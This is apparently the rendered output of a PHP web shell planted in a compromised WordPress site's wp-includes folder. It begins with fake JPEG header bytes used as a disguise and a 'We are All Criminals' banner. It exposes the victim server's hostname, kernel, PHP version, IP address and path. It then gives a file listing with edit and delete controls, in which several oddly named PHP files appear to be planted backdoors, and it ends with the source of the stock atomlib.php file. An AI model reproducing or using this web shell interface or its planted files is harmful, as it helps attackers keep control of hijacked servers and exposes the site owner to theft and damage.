JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
SimplePie dir drwxr-xr-x 2024-11-13 23:23 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
block-supports dir drwxr-xr-x 2025-04-16 03:44 R D
blocks dir drwxr-xr-x 2025-04-16 03:44 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
fonts dir drwxr-xr-x 2024-04-03 09:01 R D
html-api dir drwxr-xr-x 2025-10-20 08:25 R D
images dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
pomo dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
sodium_compat dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
BDKR.txt 0.051 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_ejk3v9jf.php 23.183 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
atomlib.php 11.795 KB -rw-r--r-- 2024-11-13 23:23 R E G D
block-editor.php 28.122 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-i18n.json 0.309 KB -rw-r--r-- 2021-08-11 11:38 R E G D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-template.php 14.996 KB -rw-r--r-- 2025-04-16 03:44 R E G D
blocks.php 110.401 KB -rw-r--r-- 2025-07-16 03:43 R E G D
bookmark-template.php 12.469 KB -rw-r--r-- 2025-04-16 03:44 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
canonical.php 33.714 KB -rw-r--r-- 2024-11-13 23:23 R E G D
capabilities.php 41.717 KB -rw-r--r-- 2024-11-13 23:23 R E G D
category-template.php 55.667 KB -rw-r--r-- 2023-09-26 02:57 R E G D
category.php 12.528 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-IXR.php 2.555 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-feed.php 0.526 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-http.php 0.358 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-json.php 42.66 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-oembed.php 0.392 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-phpass.php 6.612 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-phpmailer.php 0.648 KB -rw-r--r-- 2020-07-21 15:28 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-smtp.php 0.446 KB -rw-r--r-- 2021-01-26 17:15 R E G D
class-snoopy.php 36.831 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-walker-category.php 8.278 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-walker-page.php 7.434 KB -rw-r--r-- 2023-09-14 15:16 R E G D
class-wp-admin-bar.php 17.455 KB -rw-r--r-- 2024-07-24 02:51 R E G D
class-wp-ajax-response.php 5.143 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-pattern-categories-registry.php 5.245 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-patterns-registry.php 10.53 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-styles-registry.php 6.253 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-type-registry.php 4.896 KB -rw-r--r-- 2023-10-12 15:04 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-date-query.php 34.895 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-embed.php 15.558 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-error.php 7.326 KB -rw-r--r-- 2023-02-21 20:09 R E G D
class-wp-exception.php 0.247 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-fatal-error-handler.php 7.959 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-feed-cache.php 0.946 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-http-curl.php 12.247 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http-proxy.php 5.84 KB -rw-r--r-- 2023-06-22 17:06 R E G D
class-wp-http-requests-hooks.php 1.975 KB -rw-r--r-- 2022-12-16 01:02 R E G D
class-wp-http-requests-response.php 4.297 KB -rw-r--r-- 2023-10-11 09:35 R E G D
class-wp-http-response.php 2.907 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http.php 40.604 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-metadata-lazyloader.php 6.673 KB -rw-r--r-- 2023-05-11 13:45 R E G D
class-wp-navigation-fallback.php 8.995 KB -rw-r--r-- 2023-10-06 16:36 R E G D
class-wp-object-cache.php 17.113 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-oembed.php 30.865 KB -rw-r--r-- 2025-07-16 03:43 R E G D
class-wp-phpmailer.php 3.713 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-rewrite.php 62.195 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-styles.php 10.752 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-tax-query.php 19.097 KB -rw-r--r-- 2024-04-03 09:01 R E G D
class-wp-term-query.php 39.911 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-term.php 5.174 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-url-pattern-prefixer.php 4.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-query.php 42.632 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-request.php 2.251 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user.php 22.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-widget-factory.php 3.269 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-widget.php 17.997 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-xmlrpc-server.php 210.395 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp.php 28.639 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class.wp-styles.php 0.33 KB -rw-r--r-- 2022-09-20 16:47 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
comment.php 128.464 KB -rw-r--r-- 2025-04-16 03:44 R E G D
compat.php 15.992 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
default-constants.php 11.099 KB -rw-r--r-- 2024-11-13 23:23 R E G D
default-filters.php 35.837 KB -rw-r--r-- 2025-04-16 03:44 R E G D
default-widgets.php 2.241 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed-template.php 0.33 KB -rw-r--r-- 2022-06-17 13:50 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom.php 3.048 KB -rw-r--r-- 2025-04-16 03:44 R E G D
feed-rdf.php 2.605 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
functions.php 283.744 KB -rw-r--r-- 2025-04-16 03:44 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
general-template.php 168.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
http.php 24.719 KB -rw-r--r-- 2024-11-13 23:23 R E G D
https-detection.php 5.72 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
locale.php 0.158 KB -rw-r--r-- 2019-10-08 19:49 R E G D
media.php 215.328 KB -rw-r--r-- 2025-07-16 03:43 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-blogs.php 25.239 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-default-filters.php 6.48 KB -rw-r--r-- 2023-02-24 04:53 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php 2.68 KB -rw-r--r-- 2025-05-01 03:43 R E G D
ms-functions.php 89.436 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-site.php 40.352 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu.php 43.333 KB -rw-r--r-- 2024-11-13 23:23 R E G D
option.php 100.649 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
post-formats.php 6.936 KB -rw-r--r-- 2024-07-17 02:53 R E G D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
post.php 284.875 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php 97.907 KB -rw-r--r-- 2025-04-16 03:44 R E G D
revision.php 30.021 KB -rw-r--r-- 2025-04-16 03:44 R E G D
rewrite.php 19.083 KB -rw-r--r-- 2024-11-13 23:23 R E G D
robots-template.php 5.063 KB -rw-r--r-- 2022-04-06 18:03 R E G D
rss-functions.php 0.249 KB -rw-r--r-- 2020-11-17 02:22 R E G D
rss.php 22.571 KB -rw-r--r-- 2024-11-13 23:23 R E G D
script-loader.php 130.139 KB -rw-r--r-- 2025-05-01 03:43 R E G D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
speculative-loading.php 8.357 KB -rw-r--r-- 2025-04-16 03:44 R E G D
spl-autoload-compat.php 0.431 KB -rw-r--r-- 2020-11-12 14:47 R E G D
taxonomy.php 172.097 KB -rw-r--r-- 2025-04-16 03:44 R E G D
template-canvas.php 0.531 KB -rw-r--r-- 2023-10-01 02:52 R E G D
template-loader.php 5.894 KB -rw-r--r-- 2020-05-26 12:07 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-i18n.json 1.49 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme.json 8.5 KB -rw-r--r-- 2024-07-17 02:53 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
to90at2y.php 1.159 KB -rw-r--r-- 2025-10-20 09:47 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
version.php 1.064 KB -rw-r--r-- 2025-10-01 03:44 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
REQUEST EXIT
* @version 0.4 * @since 2.3.0 */ /** * Structure that store common Atom Feed Properties * * @package AtomLib */ class AtomFeed { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); /** * Stores Entries * * @var array * @access public */ var $entries = array(); } /** * Structure that store Atom Entry Properties * * @package AtomLib */ class AtomEntry { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); } /** * AtomLib Atom Parser API * * @package AtomLib */ class AtomParser { var $NS = 'http://www.w3.org/2005/Atom'; var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); var $debug = false; var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $content_ns_decls = array(); var $content_ns_contexts = array(); var $is_xhtml = false; var $is_html = false; var $is_text = true; var $skipped_div = false; var $FILE = "php://input"; var $feed; var $current; var $map_attrs_func; var $map_xmlns_func; var $error; var $content; /** * PHP5 constructor. */ function __construct() { $this->feed = new AtomFeed(); $this->current = null; $this->map_attrs_func = array( __CLASS__, 'map_attrs' ); $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' ); } /** * PHP4 constructor. */ public function AtomParser() { self::__construct(); } /** * Map attributes to key="val" * * @param string $k Key * @param string $v Value * @return string */ public static function map_attrs($k, $v) { return "$k=\"$v\""; } /** * Map XML namespace to string. * * @param indexish $p XML Namespace element index * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ] * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"' */ public static function map_xmlns($p, $n) { $xd = "xmlns"; if( 0 < strlen($n[0]) ) { $xd .= ":{$n[0]}"; } return "{$xd}=\"{$n[1]}\""; } function _p($msg) { if($this->debug) { print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; } } function error_handler($log_level, $log_text, $error_file, $error_line) { $this->error = $log_text; } function parse() { set_error_handler(array(&$this, 'error_handler')); array_unshift($this->ns_contexts, array()); if ( ! function_exists( 'xml_parser_create_ns' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } $parser = xml_parser_create_ns(); xml_set_element_handler($parser, array($this, "start_element"), array($this, "end_element")); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, array($this, "cdata")); xml_set_default_handler($parser, array($this, "_default")); xml_set_start_namespace_decl_handler($parser, array($this, "start_ns")); xml_set_end_namespace_decl_handler($parser, array($this, "end_ns")); $this->content = ''; $ret = true; $fp = fopen($this->FILE, "r"); while ($data = fread($fp, 4096)) { if($this->debug) $this->content .= $data; if(!xml_parse($parser, $data, feof($fp))) { /* translators: 1: Error message, 2: Line number. */ trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); $ret = false; break; } } fclose($fp); xml_parser_free($parser); unset($parser); restore_error_handler(); return $ret; } function start_element($parser, $name, $attrs) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); switch($name) { case $this->NS . ':feed': $this->current = $this->feed; break; case $this->NS . ':entry': $this->current = new AtomEntry(); break; }; $this->_p("start_element('$name')"); #$this->_p(print_r($this->ns_contexts,true)); #$this->_p('current(' . $this->current . ')'); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $this->content_ns_decls = array(); if($this->is_html || $this->is_text) trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $with_prefix = $this->ns_to_prefix($key, true); $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $with_prefix = $this->ns_to_prefix($name); if(!$this->is_declared_content_ns($with_prefix[0])) { array_push($this->content_ns_decls, $with_prefix[0]); } $xmlns_str = ''; if(count($this->content_ns_decls) > 0) { array_unshift($this->content_ns_contexts, $this->content_ns_decls); $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } } array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); if(in_array('src',array_keys($attrs))) { $this->current->$tag = $attrs; } else { array_push($this->in_content, array($tag,$this->depth, $type)); } } else if($tag == 'link') { array_push($this->current->links, $attrs); } else if($tag == 'category') { array_push($this->current->categories, $attrs); } $this->ns_decls = array(); } function end_element($parser, $name) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); $ccount = count($this->in_content); # if we are *in* content, then let's proceed to serialize it if(!empty($this->in_content)) { # if we are ending the original content element # then let's finalize the content if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { $origtype = $this->in_content[0][2]; array_shift($this->in_content); $newcontent = array(); foreach($this->in_content as $c) { if(count($c) == 3) { array_push($newcontent, $c[2]); } else { if($this->is_xhtml || $this->is_text) { array_push($newcontent, $this->xml_escape($c)); } else { array_push($newcontent, $c); } } } if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { $this->current->$tag = array($origtype, join('',$newcontent)); } else { $this->current->$tag = join('',$newcontent); } $this->in_content = array(); } else if($this->in_content[$ccount-1][0] == $tag && $this->in_content[$ccount-1][1] == $this->depth) { $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; } else { # else, just finalize the current element's content $endtag = $this->ns_to_prefix($name); array_push($this->in_content, array($tag, $this->depth, "")); } } array_shift($this->ns_contexts); $this->depth--; if($name == ($this->NS . ':entry')) { array_push($this->feed->entries, $this->current); $this->current = null; } $this->_p("end_element('$name')"); } function start_ns($parser, $prefix, $uri) { $this->_p("starting: " . $prefix . ":" . $uri); array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { $this->_p("ending: #" . $prefix . "#"); } function cdata($parser, $data) { $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); if(!empty($this->in_content)) { array_push($this->in_content, $data); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname, $attr=false) { # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') $components = explode(":", $qname); # grab the last one (e.g 'div') $name = array_pop($components); if(!empty($components)) { # re-join back the namespace component $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return array($mapping, "$mapping[0]:$name"); } } } } if($attr) { return array(null, $name); } else { foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if(strlen($mapping[0]) == 0) { return array($mapping, $name); } } } } } function is_declared_content_ns($new_mapping) { foreach($this->content_ns_contexts as $context) { foreach($context as $mapping) { if($new_mapping == $mapping) { return true; } } } return false; } function xml_escape($content) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $content ); } }